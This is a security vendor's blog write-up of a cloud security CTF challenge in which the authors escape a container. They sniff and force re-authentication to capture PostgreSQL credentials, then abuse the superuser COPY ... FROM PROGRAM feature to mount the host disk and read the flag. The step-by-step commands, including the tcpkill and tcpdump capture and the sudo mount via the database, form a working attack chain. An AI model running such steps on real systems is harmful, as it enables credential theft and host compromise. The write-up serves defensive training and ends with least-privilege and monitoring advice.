Wiz’s Cloud Security Championship Challenge #2, You’re trapped inside a container and need to reach the host file system to find the flag.

Participating in or analyzing Capture the Flag (CTF) challenges is more than a game for our team at Tamnoon. These scenarios are an opportunity to sharpen response skills by stepping into the attacker’s mindset.
By studying how adversaries probe for weaknesses, escalate privileges, and pivot across environments, we strengthen our ability to anticipate threats and design smarter detection and remediation strategies.
In the July edition of the Cloud Security Championship, the challenge was clear: “You’re trapped inside a container and need to reach the host file system to find /flag.”
Here’s how we approached the first two challenges, from initial reconnaissance to pulling off a PostgreSQL escape.
The first things we wanted to know: who are we, what’s running, and what’s reachable?
whoami
We’re root inside the container. Full control here gives us a strong starting point.
ps aux
Next, we want to listen to the running process. Only
sleep
is running. That hints this container is intentionally minimal, so we turned to networking.
netstat -antp
#for more specific to 5432 run with a grep
netstat -tnp | grep 5432
A live TCP connection showed up on port
5432
, the default for PostgreSQL. Filtering confirmed it:
So there’s a database connection to explore. From the connection data, we know:
To get into the database, we needed credentials. First, we installed packet capture tools:
# Install these packages
# tshark is the CLI version of Wireshark
# binutils makes raw.pcap files readable
apt update && apt install -y tshark binutils
Then we captured traffic on port 5432:
tcpdump -i eth0 -w capture.pcap host 172.19.0.2 and port 5432
# let this run for 30 seconds then hit ctrl+c
strings capture.pcap
The capture showed queries (SELECT now();) but no credentials. PostgreSQL wasn’t forcing reauthentication.
To change that, we killed the connection while capturing in the background:
tcpdump -i eth0 -w capture.pcap host 172.19.0.2 and port 5432 &
tcpkill -i eth0 host 172.19.0.2 and port 5432
# let run for 30 sec
fg
#ctrl+c
strings capture.pcap
After reauthentication, the capture revealed what we needed:
Success! Now it’s time to log in to the database.
We have the credentials, so let’s log into the database.
psql -h 172.19.0.2 -p 5432 -U user -d postgres
#Password = SecretPostgreSQLPassword
Now for some SQL. First, we need to check what role we have in the database.
\du
Here’s what we see:
We confirmed the account was a superuser, essentially root within PostgreSQL. That opened the door to PostgreSQL’s
COPY … FROM PROGRAM
feature. It’s a legitimate function for admins, but dangerous when abused.
PostgreSQL’s COPY … FROM PROGRAM command is intended for system administrators. It allows trusted users to pull command output directly into database tables, which can be useful for automation or monitoring.
The problem is that this capability runs at the operating system level. If an attacker gains superuser rights in PostgreSQL, they can execute arbitrary shell commands, including mounting disks, exploring file systems, or exfiltrating sensitive data.
This is why production databases should tightly limit which accounts hold superuser privileges, and why monitoring for abuse of COPY … FROM PROGRAM is critical. What’s a helpful feature for DBAs can easily become an escape hatch in the wrong hands.
Moving on, we still need to create a table to capture command output. We did that using:
#Create a table
CREATE TABLE cmdout(line text);
From there, we executed commands on the host environment through PostgreSQL:
TRUNCATE cmdout;
COPY cmdout FROM PROGRAM '/usr/bin/sudo /usr/bin/id';
SELECT * FROM cmdout;
This confirmed command execution. We then:
/dev/vda to access the host filesystem.#Look for exposed block devices
TRUNCATE cmdout;
COPY cmdout FROM PROGRAM '/usr/bin/sudo /bin/ls -la /dev';
SELECT * FROM cmdout;
#Make the mountpoint too access the host's root file system
TRUNCATE cmdout;
COPY cmdout FROM PROGRAM '/usr/bin/sudo /bin/mkdir -p /mnt/host';
SELECT * FROM cmdout;
#Mount the host disk -vda
TRUNCATE cmdout;
COPY cmdout FROM PROGRAM '/usr/bin/sudo /bin/mount /dev/vda /mnt/host';
SELECT * FROM cmdout;
#Explore mounted host file system
TRUNCATE cmdout;
COPY cmdout FROM PROGRAM '/usr/bin/sudo /bin/ls -la /mnt/host';
SELECT * FROM cmdout;
#Search for the flag on the mounted filesystem
TRUNCATE cmdout;
COPY cmdout FROM PROGRAM '/usr/bin/sudo /usr/bin/find /mnt/host -maxdepth 3 -iname "*flag*" 2>/dev/null';
SELECT * FROM cmdout;
#Read the Flag
TRUNCATE cmdout;
COPY cmdout FROM PROGRAM '/usr/bin/sudo /bin/cat /mnt/host/flag';
SELECT * FROM cmdout;
If you follow these steps you will have found the flag successfully.
Challenges like this highlight the importance of tightly controlling container isolation and database permissions.
Features designed for administrators, like PostgreSQL’s COPY … FROM PROGRAM, can double as escape hatches if superuser access isn’t locked down.
For defenders, the lesson is simple: don’t assume the boundary between container and host is absolute. Strong least-privilege configurations and careful monitoring are crucial in preventing attackers from gaining unauthorized access and “turning the tables.”
Don’t settle for noise disguised as protection. See how Tamnoon turns alerts into action and exposure into resilience.
There’s always more to learn, see our resources center